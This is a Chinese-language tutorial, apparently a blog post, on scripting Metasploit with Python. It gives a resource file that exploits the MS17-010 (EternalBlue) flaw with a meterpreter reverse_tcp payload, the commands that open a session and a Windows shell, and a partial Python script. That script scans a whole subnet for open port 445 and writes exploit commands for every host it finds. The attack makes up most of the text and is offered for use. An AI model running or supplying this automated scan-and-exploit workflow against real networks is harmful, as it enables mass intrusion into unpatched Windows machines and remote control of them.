编写Python脚本与Metasploit交互


在进行编写与Metasploit交互的脚本前,我们先简单运用Metasploit利用ms17-010(永恒之蓝)漏洞对目标主机实现攻击。详细教程见->不可小看的漏洞——利用永恒之蓝漏洞(MS17-010)入侵电脑

攻击主机:kalilinux IP:192.168.1.14


编写Python脚本与Metasploit交互

步骤:

(1)在kalilinux桌面创建一个以'.rc'为后缀的文件,我创建的是‘smb.rc’,然后填入下面的命令。

<code>

use

auxiliary/scanner/smb/smb_ms17_010

set

rhosts 192.168.1.10

use

exploit/windows/smb/ms17_010_eternalblue

set

rhosts 192.168.1.10

set

payload windows/x64/meterpreter/reverse_tcp

exploit

-j -z

/<code>
编写Python脚本与Metasploit交互

(2)右击文件smb.rc,在此打开终端。输入如下命令,回车。

<code>

msfconsole

-r

smb

.rc

/<code>

(3)看到如下出现状态,继续按回车,然后输入如下命令即可建立会话运行命令,具体利用可以见->利用永恒之蓝漏洞(MS17-010)入侵电脑。

<code>

sessions

-i

1

/<code>
编写Python脚本与Metasploit交互


编写Python脚本与Metasploit交互


(5)输入shell就可以进入Windows的cmd命令界面了。

编写Python脚本与Metasploit交互

编写python脚本

可以用python编写一个能扫描445端口的主机,并自动生成一个去攻击所有有漏洞主机的Metasploit脚本文件的Python脚本。

<code> 

import

nmap

import

os

import

optparse

import

sys

def

findTgts

(subNet)

:

nmScan = nmap.PortScanner() nmScan.scan(subNet,

'445'

) tgtHosts = []

for

host

in

nmScan.all_hosts():

if

nmScan[host].has_tcp(

445

): state = nmScan[host][

'tcp'

][

445

][

'state'

]

if

state ==

'open'

:

print

'[+] Found Target Host: '

+ host tgtHosts.append(host)

return

tgtHosts

def

setupHandler

(configFile, rhost)

:

configFile.write(

'use auxiliary/scanner/smb/smb_ms17_010\n'

) configFile.write(

'set rhosts '

+rhost+

'\n'

) configFile.write(

'use exploit/windows/smb/ms17_010_eternalblue\n'

) configFile.write(

'set rhosts '

+ rhost +

'\n'

) configFile.write(

'set payload windows/x64/meterpreter/reverse_tcp\n'

) configFile.write(

'exploit -j -z\n'

) configFile.write(

'setg DisablePayloadHandler 1\n'

)

def

confickerExploit

(configFile, tgtHost)

:

configFile.write(

'use auxiliary/scanner/smb/smb_ms17_010\n'

) configFile.write(

'set rhosts '

+ str(tgtHost) +

'\n'

) configFile.write(

'use exploit/windows/smb/ms17_010_eternalblue\n'

) configFile.write(

'set rhosts '

+ str(tgtHost) +

'\n'

) configFile.write(

'set payload windows/x64/meterpreter/reverse_tcp\n'

) configFile.write(

'exploit -j -z\n'

)/<code>


findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现命令执行,代码未完整,可后续自行补充。


分享到:


相關文章: